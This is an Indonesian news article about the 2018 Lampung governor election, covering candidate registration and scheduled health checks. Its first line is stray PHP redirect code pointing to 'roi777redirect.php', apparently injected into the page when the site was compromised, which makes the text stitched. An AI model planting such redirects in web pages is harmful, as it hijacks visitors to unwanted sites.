header( 'Location: /roi777redirect.php true, 303 );header( 'Location: roi777redirect.php', true, 303 ); Hampir Seluruh Dokter Spesialis Dilibatkan -
Hampir Seluruh Dokter Spesialis Dilibatkan

Hari Ini Cek Kesehatan Pasangan Calon

TRANSLAMPUNG.COM, BANDARLAMPUNG – Pendaftaran para bakal calon gubernur dan wakil gubernur (Bacagub-Bacawagub) serta para bakal calon bupati dan wakil bupati (Bacabup-Bacawabup) dalam Pemilihan Kepala Daerah (Pilkada) Serentak 2018 telah berakhir, kemarin.

Untuk Pemilihan Gubernur (Pilgub) Lampung, empat pasangan calon (Paslon) telah mendaftar untuk mengikuti Pilgub, yang akan digelar pada 27 Juni 2018.

Keempat paslon tersebut yakni Mustafa-Ahmad Jajuli, Herman HN-Sutono, M Ridho Ficardo-Bakhtiar Basri dan Arinal Djunaidi-Chusnunia Chalim.

Agenda selanjutnya, para pasangan calon akan menjalani serangkaian pemeriksaan kesehatan mulai hari ini, Kamis (11/1).

Berdasarkan jadwal, cek kesehatan empat paslon tersebut akan dilakukan di Rumah Sakit Umum Daerah Abdul Moeloek (RSUDAM) Lampung.

“Medical check up (pemeriksaan kesehatan) pada 11-13 Januari mendatang, mulai jam 8 pagi. Pemeriksaan di gedung General Check Up (GCU) Lantai II,” kata Kasubag Humas RSUDAM Lampung, Akhmad Sapri, Rabu (10/1).

Selanjutnya, pada 14 Januari akan dilakukan perekapan hasil pemeriksaan jasmani, rohani, serta pemeriksaan jiwa.

Pemeriksaan dilakukan tim dokter dari Ikatan Dokter Indonesia (IDI) Lampung, RSUDAM Lampung, dan Rumah Sakit Jiwa (RSJ) Lampung.

“Pemeriksaan ini melibatkan hampir seluruh dokter spesialis, yakni dokter spesialis penyakit jantung, penyakit dalam, dan dokter saraf,” ujarnya.

Kendati demikian, tambah Akhmad, hingga kini belum ada konfirmasi dari KPU tentang kepastian jadwal pemeriksaan kesehatan para pasangan balon kepala daerah.

“Belum ada konfirmasi pasti, tapi kemungkinan besok sudah ada pasangan (calon) yang datang,” kata dia.

Ridho dan Arinal Daftar

Pasangan bacagub-bacawagub M Ridho Ficardo-Bachtiar Basri (Ridho-berBakhti) jilid II mendaftar ke KPU Lampung, kemarin.

Pasangan petahana ini didukung Partai Demokrat, Partai Gerindra, PPP, PBB, dan PSI. Sebelum melakukan pendaftaran di KPU, pasangan itu melakukan beberapa kegiatan, seperti zikir dan istigasah di kediaman Ridho, di Perumahan Vila Citra, Bandarlampung.

Tampak pasangan yang ber-tagline Ridho Berbakti Jilid II ini didamping istri dan ayahanda Ridho, Fauzi Toha. Selain itu, hadir juga masing-masing ketua umum partai pendukung.

Sekira 200 relawan dari berbagai organisasi kemasyarakatan turut mengantar Paslon ini. Bahkan, sejumlah relawan tampak ikut mengatur lalu lintas sehingga iring-iringan tak menyebabkan kemacetan parah, tak seperti pendaftaran Paslon lainnya.

Saat tiba di kantor KPU, Paslon petahana ini langsung mengisi daftar hadir, dan diterima Ketua KPU Lampung, Nanang Trenggono, dan Komisioner lainnya.

Pihak KPU yang menerima berkas pendaftaran menyatakan telah lengkap dan memenuhi syarat pencalonan.

Hal tersebut diungkapkan oleh Ketua KPU Lampung, Nanang Trenggono seusai melakukan pemeriksaan berkas ke empat cagub dan cawagub petahana tersebut.

”Alhamdulillah, berkas ke empat cagub dan cawagub atas nama M Ridho Ficardo – Bachtiar Basri semua lengkap,” jelasnya.

Menurut Nanang,  kedua petahana dapat mengikuti tes kesehatan dan kejiwaan yang dijadwalkan pada Kamis, hari ini.

”Untuk kedua bacagub dan bacawagub M Ridho Ficardo – Bachtiar Basri saya berpesan agar jangan tidur terlalu malam,” sarannya.

Sementara, saat konferensi di Kantor KPU Lampung, Ridho tak mempersoalkan mantan Sekprov Lampung Sutono menjadi bacawagub, dalam Pilgub Lampung 2018.

Diketahui, Sutono berpasangan dengan Herman HN pada Pilgub Lampung, tahun ini.

“Semua orang ada hak politiknya, ada hak pilihnya. Sepanjang aturan sudah dicabut oleh pengadilan, tidak dilarang oleh aturan hukum, saya pikir itu bukan suatu permasalahan,” kata Ridho, didampingi Bakhtiar Basri.

Dia mengatakan, roda Pemerintah Provinsi (Pemprov) Lampung tidak bergantung pada satu orang. Tapi, merupakan suatu organisasi besar yang berjalan sesuai dengan mekanisme dan bekerja sesuai dengan aturan.

“Jadi, tak ada satu permasalahan yang berarti terkait ketidakhadiran satu atau dua posisi di Pemprov Lampung,” ujarnya.

Kendati demikian, Ridho mengaku belum sempat bertemu Sutono, setelah yang bersangkutan mendaftar pilgub. Namun, dia menyatakan bahwa tak ada permasalahan dengan Sutono.

“Saya belum tahu (soal rencana pertemuan). Sebab, saya baru sampai dari Jakarta, malam tadi (kemarin malam),” kata dia.

Sebelumnya, paslon gubernur Arinal Djunaidi dan Chusnunia Chalim (Nunik) mendaftarkan diri menjadi calon gubernur Lampung periode 2019-2024, Rabu (10/01) pagi.

Arinal mengucapkan terima kasih pada semua partai pengusung, PKB, PAN dan Golkar, serta semua kalangan yang telah membantu kelancaran proses pendaftaran ke KPU.

“Terima kasih pada KPU Lampung, proses pencalonan sudah terpenuhi dengan baik, mudah-mudahan di masa mendatang ini sebagai cerminan karena syarat (pencalonan) terpenuhi,” kata dia.

Ketua DPD I Partai Golkar Lampung ini berujar, dalam waktu dekat pihaknya akan sowan ke Ketum Golkar Arilangga Hartarto, Ketum PKB Muhaimin Iskandar dan Ketum PAN Zulkifli Hasan.

“Bahwa kami sudah diterima (KPU Lampung) dan akan berdeklarasi pada rakyat, sudah waktunya memimpin Provinsi Lampung,” ujarnya.

Mantan Sekdaprov Lampung ini mengatakan, perioritas dirinya dan Nunik jika terpilih menjadi gubernur kelak, ingin memberdayakan lebih besar sumber daya manusia (SDM) Provinsi Lampung.

“Ada 3,5 juta hektar lahan di Lampung dengan potensi luar biasa, kita akan kembangkan bersama agar maksimal. Dengan tata kelola yang baik, kemanan untuk kenyaman rakyat. Infrastuktur yang baik, ada 8 program termasuk pendidikan,” ungkapnya.

Sementara, pasangan calon Mustafa-Ahmad Jajuli serta Herman HN-Sutono telah mendaftar pada hari pertama, Senin (8/1) lalu. (dbs/rls/hkw/rus)

News Reporter